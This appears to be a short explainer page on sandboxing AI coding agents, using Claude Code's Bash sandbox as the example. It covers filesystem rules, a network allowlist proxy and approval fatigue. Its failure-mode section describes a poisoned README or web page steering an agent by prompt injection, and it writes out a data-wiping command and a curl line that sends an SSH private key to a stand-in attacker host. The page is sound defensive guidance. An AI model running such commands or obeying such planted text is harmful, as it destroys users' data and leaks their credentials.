Cinematic Short AI Security 60 sec Failure mode + fix

Put Your Agent in a Box

Your agent runs every command as you.

Remember

Prompts ask you to be the wall. A sandbox is the wall.

Context

Coding agents (Claude Code, Codex, Copilot CLI…) run real shell commands on a developer's laptop with the developer's own access. This Short is the "Next: Agent Sandboxing" promised by mcp-tool-poisoning and approval-fatigue. Claude Code's built-in Bash sandbox (/sandbox) is the worked example; the design applies to any agent.

Architecture

ComponentRoleNotes
AgentPlans, then runs shell commands (build, test, git, npm, curl)Runs as the user
OS sandboxWraps every command and its child processesbubblewrap on Linux / WSL2, Seatbelt on macOS
Filesystem rulesWrites: project folder + per-user temp; reads: most of the machinefilesystem.allowWrite, denyWrite, denyRead
Network proxyOnly route out; checks each host against an allowlist that starts emptynetwork.allowedDomains; new hosts prompt
Permission rulesGovern what runs outside the boxRead/Edit/WebFetch tools, MCP servers, hooks

Request flow

  1. The agent decides to run a command.
  2. Inside the sandbox it runs with no prompt; the OS enforces the file rules on it and everything it starts.
  3. Any network connection goes to the proxy; an allowed host passes, a new host asks the user, a denied one fails.
  4. A command that fails in the sandbox may be retried unsandboxed (dangerouslyDisableSandbox) through the normal permission flow, unless allowUnsandboxedCommands is false.

The failure mode

Without a sandbox, a poisoned README, issue or web page can talk the agent into rm -rf ~/ or curl -d @~/.ssh/id_rsa https://evil.example. Every command runs as you. Approval prompts are the classic guard, but a real task asks dozens of times and "Allow" becomes a reflex (see approval-fatigue).

Why it happens

The agent's only boundary is a person reading prompts. Nothing below the agent enforces what it may touch.

The fix

Turn on the sandbox and let the OS draw the box: writes stay in the project, the network goes through a proxy whose allowlist starts empty, and commands inside run without prompts. Then close the gaps: deny reads of ~/.ssh and cloud credentials (reads are open by default), mask tokens in env vars, remember that file tools and MCP servers run outside the box, turn off the unsandboxed retry, and set failIfUnavailable so a missing sandbox fails loudly.

Trade-offs

  • Tools that write outside the project (kubectl, terraform caches) need allowWrite entries.
  • Allowing broad domains (e.g. all of github.com) widens the exfiltration path.
  • Only shell commands are sandboxed; the Read tool ignores denyRead, so permission rules still matter.

Numbers worth knowing

  • 84% fewer permission prompts with sandboxing, Anthropic internal usage (Anthropic Engineering, "Beyond permission prompts", 2025).
  • Allowed domains start empty; reads include ~/.ssh and ~/.aws/credentials by default (Claude Code docs, "Configure the sandboxed Bash tool").

Sources: https://www.anthropic.com/engineering/claude-code-sandboxing · https://code.claude.com/docs/en/sandboxing

Found this useful?

Subscribe for the next episode, or share it with the person who owns this part of your stack.

Keep going